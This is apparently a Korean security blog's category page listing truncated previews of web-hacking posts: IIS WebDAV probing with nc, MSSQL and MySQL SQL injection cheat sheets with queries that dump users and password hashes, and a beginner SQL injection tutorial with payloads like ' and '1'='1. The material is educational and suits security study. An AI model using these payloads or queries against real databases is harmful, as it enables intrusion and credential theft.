목록웹 (7)

annyoung

AWS 문의를 통해 계정 찾기

하도 AWS free-tier를 애용하고 있어서, 계정이 너무 많다보니 관리가 안됐다. 내 핸드폰 D-day 설정을 통해서 어느새 Free-tier 기간 만료가 1년이 되어가는 것을 보고 허겁지겁 계정을 찾으려고 노력했으나 불가능에 가까웠다.. (거의 계정 4-5개는 들어간 것 같다.) 그래서 AWS support Team에 다음과 같은 문의를 남겼다. Hello, I just trying to delete my ec2-instance, but i can't find that specify account. Can i get to know my account email-address? These are my ec2-instance information via ssh connect: - OS: Ubu..
웹 2020. 8. 25. 11:30
IIS, Webdav 침해사고 당하는 이유중 하나

nopsled@smleeo3o:~/Documents/python/malware (=｀ω´=)$ nc 192.168.0.5 80OPTIONS / HTTP/1.1Host: 192.168.0.5 HTTP/1.1 200 OKDate: Tue, 24 Nov 2015 18:18:42 GMTServer: Microsoft-IIS/6.0X-Powered-By: ASP.NETMS-Author-Via: DAVContent-Length: 0Accept-Ranges: noneDASL: DAV: 1, 2Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCHAllow: OPTION..
웹 2015. 11. 25. 03:24
webdav bypass method

C:\Users\NPKI>nc www.xxxxxxx.com 80OPTIONS / HTTP/1.1Host: www.xxxxxxx.com Date: Tue, 06 Jan 2015 02:34:36 GMTServer: Microsoft-IIS/6.0X-Powered-By: ASP.NETMS-Author-Via: DAVContent-Length: 0Accept-Ranges: noneDASL: DAV: 1, 2Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCHAllow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, L..
웹 2015. 1. 6. 11:49
Web Exploit Tool Kit.pdf

Web exploit kit에 대한 pdf자료 입니다.
웹 2014. 3. 18. 01:51
MSSQL SQL injection cheat sheet

Version SELECT @@version Comments SELECT 1 — comment SELECT /*comment*/1 Current User SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID List Users SELECT name FROM master..syslogins List Password Hashes SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master...
웹 2014. 3. 13. 01:06
MySQL SQL injection cheat sheet

Version SELECT @@version Comments SELECT 1; #comment SELECT /*comment*/1; Current User SELECT user(); SELECT system_user(); List Users SELECT user FROM mysql.user; — priv List Password Hashes SELECT host, user, password FROM mysql.user; — priv Password Cracker John the Ripper will crack MySQL password hashes. List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.us..
웹 2014. 3. 12. 21:07
MySQL SQL Injection 기초(and, or)

http://wh1ant.kr/archives/[Hangul] False SQL injection and Advanced blind SQL injection.txt 시작하기전 위 내용에 나와있는 소스를 사용 및 수정하여 vunlerable web application을 구성하고 포스팅 하였습니다. AND127.0.0.1/info.php?num=1' and '1'='1 (True)Query : select * from users where num='1' and '1'='1'Users테이블에서 num이 1인것 그리고 1이 1과 같다면 출력해라. And의 경우 앞과 뒤 모두 참이어야 합니다. 127.0.0.1/info.php?num=1' and '1''1; Query : select * from users w..
웹 2014. 3. 12. 16:54
Prev 1 Next